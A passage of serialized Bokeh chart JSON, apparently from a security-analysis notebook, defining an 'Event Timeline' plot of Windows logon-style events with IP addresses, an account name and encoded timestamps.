2257\",\"type\":\"Scatter\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2304\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2302\",\"type\":\"DaysTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2134\"},\"glyph\":{\"id\":\"2248\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2250\"},\"nonselection_glyph\":{\"id\":\"2249\"},\"view\":{\"id\":\"2252\"}},\"id\":\"2251\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2291\",\"type\":\"Selection\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2301\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2305\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2306\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2309\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"2286\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2307\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2303\",\"type\":\"DaysTicker\"},{\"attributes\":{\"source\":{\"id\":\"2134\"}},\"id\":\"2252\",\"type\":\"CDSView\"},{\"attributes\":{\"tools\":[{\"id\":\"2138\"},{\"id\":\"2158\"},{\"id\":\"2159\"},{\"id\":\"2160\"},{\"id\":\"2161\"},{\"id\":\"2162\"}]},\"id\":\"2164\",\"type\":\"Toolbar\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2308\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"2296\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2249\",\"type\":\"Scatter\"},{\"attributes\":{\"label\":{\"value\":\"2\"},\"renderers\":[{\"id\":\"2244\"}]},\"id\":\"2246\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"2297\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2292\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data\":{\"IpAddress\":[\"131.107.147.209\",\"131.107.147.209\"],\"SubjectUserName\":[\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\"],\"TimeGenerated\":{\"__ndarray__\":\"APCf2DWOdkIAENDO9I52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"index\":[141,150],\"y_index\":[5,5]},\"selected\":{\"id\":\"2297\"},\"selection_policy\":{\"id\":\"2296\"}},\"id\":\"2137\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2280\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"data\":{\"IpAddress\":[\"-\",\"-\"],\"SubjectUserName\":[\"-\",\"-\"],\"TimeGenerated\":{\"__ndarray__\":\"AODBEwCOdkIAIJ7Go452Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"index\":[12,70],\"y_index\":[0,0]},\"selected\":{\"id\":\"2287\"},\"selection_policy\":{\"id\":\"2286\"}},\"id\":\"2132\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2293\",\"type\":\"Selection\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"],[\"IpAddress\",\"@IpAddress\"],[\"SubjectUserName\",\"@SubjectUserName\"]]},\"id\":\"2138\",\"type\":\"HoverTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2248\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"2287\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2255\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"2281\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2250\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"2283\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2256\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2132\"},\"glyph\":{\"id\":\"2234\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2236\"},\"nonselection_glyph\":{\"id\":\"2235\"},\"view\":{\"id\":\"2238\"}},\"id\":\"2237\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2136\"},\"glyph\":{\"id\":\"2262\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2264\"},\"nonselection_glyph\":{\"id\":\"2263\"},\"view\":{\"id\":\"2266\"}},\"id\":\"2265\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#443982\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2242\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"2148\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2236\",\"type\":\"Scatter\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"2187\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2235\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_color\":{\"value\":\"#8DD644\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2221\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2180\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2155\",\"type\":\"BasicTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#443982\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2198\",\"type\":\"Circle\"},{\"attributes\":{\"fill_color\":{\"value\":\"#35B778\"},\"hatch_color\":{\"value\":\"#35B778\"},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2215\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2216\",\"type\":\"Circle\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2162\",\"type\":\"PanTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2192\",\"type\":\"Circle\"},{\"attributes\":{\"below\":[{\"id\":\"2182\"},{\"id\":\"2187\"}],\"center\":[{\"id\":\"2185\"}],\"height\":120,\"renderers\":[{\"id\":\"2194\"},{\"id\":\"2200\"},{\"id\":\"2206\"},{\"id\":\"2212\"},{\"id\":\"2218\"},{\"id\":\"2224\"}],\"title\":{\"id\":\"2172\"},\"toolbar\":{\"id\":\"2186\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"2174\"},\"x_scale\":{\"id\":\"2178\"},\"y_range\":{\"id\":\"2176\"},\"y_scale\":{\"id\":\"2180\"}},\"id\":\"2171\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#8DD644\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2270\",\"type\":\"Scatter\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"2163\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2132\"},\"glyph\":{\"id\":\"2191\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2193\"},\"nonselection_glyph\":{\"id\":\"2192\"},\"view\":{\"id\":\"2195\"}},\"id\":\"2194\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"label\":{\"value\":\"5\"},\"renderers\":[{\"id\":\"2265\"}]},\"id\":\"2267\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"2176\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"2160\",\"type\":\"ResetTool\"},{\"attributes\":{\"end\":1550283090334.7,\"start\":1549663977482.2998},\"id\":\"2142\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2210\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2204\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Event Timeline\"},\"id\":\"2140\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2217\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2133\"},\"glyph\":{\"id\":\"2241\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2243\"},\"nonselection_glyph\":{\"id\":\"2242\"},\"view\":{\"id\":\"2245\"}},\"id\":\"2244\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2209\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2234\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2205\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2264\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"2280\"},\"group\":null,\"major_label_policy\":{\"id\":\"2281\"},\"ticker\":{\"id\":\"2155\"},\"visible\":false},\"id\":\"2154\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis\":{\"id\":\"2182\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"2185\",\"type\":\"Grid\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#8DD644\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2223\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"2135\"}},\"id\":\"2213\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#443982\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#443982\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#443982\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2199\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2211\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2135\"},\"glyph\":{\"id\":\"2209\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2211\"},\"nonselection_glyph\":{\"id\":\"2210\"},\"view\":{\"id\":\"2213\"}},\"id\":\"2212\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"data\":{\"IpAddress\":[\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\"],\"SubjectUserName\":[\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\"],\"TimeGenerated\":{\"__ndarray__\":\"AGAJ7euNdkIAUGMU3I12QgBQ4DDGjXZCAFAs67+NdkIAQFlbSY12QgAw+JC9jnZCALA0MY6OdkIA8DLWkY52QgDgLxQ3jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[9]},\"index\":[31,34,35,36,50,53,63,90,124],\"y_index\":[3,3,3,3,3,3,3,3,3]},\"selected\":{\"id\":\"2293\"},\"selection_policy\":{\"id\":\"2292\"}},\"id\":\"2135\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"2135\"}},\"id\":\"2259\",\"type\":\"CDSView\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2299\"},{\"id\":\"2300\"},{\"id\":\"2301\"},{\"id\":\"2302\"},{\"id\":\"2303\"},{\"id\":\"2304\"},{\"id\":\"2305\"},{\"id\":\"2306\"},{\"id\":\"2307\"},{\"id\":\"2308\"},{\"id\":\"2309\"},{\"id\":\"2310\"}]},\"id\":\"2151\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2188\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#8DD644\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#8DD644\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#8DD644\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2222\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"2188\"},\"group\":null,\"major_label_policy\":{\"id\":\"2285\"},\"ticker\":{\"id\":\"2183\"}},\"id\":\"2182\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2231\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"2172\",\"type\":\"Title\"},{\"attributes\":{\"data\":{\"IpAddress\":[\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"10.0.3.4\",\"10.0.3.4\",\"10.0.3.4\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\",\"131.107.147.209\"],\"SubjectUserName\":[\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\"],\"TimeGenerated\":{\"__ndarray__\":\"AMAN7f+NdkIA0LPt/412QgBgjvn/jXZCAKC7+v+NdkIAoNO6RY52QgAwCr9FjnZCAOAaokWOdkIAwG/XNY52QgAQ79c1jnZCACBlx/SOdkIAgPDH9I52QgDgds30jnZCAPA6zvSOdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[13]},\"index\":[1,2,3,4,102,103,104,137,138,153,154,155,156],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"2291\"},\"selection_policy\":{\"id\":\"2290\"}},\"id\":\"2134\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2137\"},\"glyph\":{\"id\":\"2221\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2223\"},\"nonselection_glyph\":{\"id\":\"2222\"},\"view\":{\"id\":\"2225\"}},\"id\":\"2224\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2134\"},\"glyph\":{\"id\":\"2203\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2205\"},\"nonselection_glyph\":{\"id\":\"2204\"},\"view\":{\"id\":\"2207\"}},\"id\":\"2206\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"2134\"}},\"id\":\"2207\",\"type\":\"CDSView\"},{\"attributes\":{\"source\":{\"id\":\"2136\"}},\"id\":\"2219\",\"type\":\"CDSView\"},{\"attributes\":{\"source\":{\"id\":\"2133\"}},\"id\":\"2245\",\"type\":\"CDSView\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"2312\"},{\"id\":\"2313\"},{\"id\":\"2314\"},{\"id\":\"2315\"},{\"id\":\"2316\"},{\"id\":\"2317\"},{\"id\":\"2318\"},{\"id\":\"2319\"},{\"id\":\"2320\"},{\"id\":\"2321\"},{\"id\":\"2322\"},{\"id\":\"2323\"}]},\"id\":\"2183\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2136\"},\"glyph\":{\"id\":\"2215\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2217\"},\"nonselection_glyph\":{\"id\":\"2216\"},\"view\":{\"id\":\"2219\"}},\"id\":\"2218\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"end\":1550308886703.55,\"start\":1549638181113.45},\"id\":\"2174\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2262\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"2285\",\"type\":\"AllLabels\"},{\"attributes\":{},\"id\":\"2146\",\"type\":\"LinearScale\"},{\"attributes\":{\"fill_color\":{\"value\":\"#443982\"},\"hatch_color\":{\"value\":\"#443982\"},\"line_color\":{\"value\":\"#443982\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2197\",\"type\":\"Circle\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"2231\"},\"group\":null,\"major_label_policy\":{\"id\":\"2283\"},\"ticker\":{\"id\":\"2151\"}},\"id\":\"2150\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"2288\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"axis\":{\"id\":\"2154\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"2157\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"2132\"}},\"id\":\"2195\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2135\"},\"glyph\":{\"id\":\"2255\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2257\"},\"nonselection_glyph\":{\"id\":\"2256\"},\"view\":{\"id\":\"2259\"}},\"id\":\"2258\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2313\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"active_multi\":{\"id\":\"2226\"},\"tools\":[{\"id\":\"2226\"}]},\"id\":\"2186\",\"type\":\"Toolbar\"},{\"attributes\":{\"data\":{\"IpAddress\":[\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\"],\"SubjectUserName\":[\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\"MSTICAlertsWin1$\",\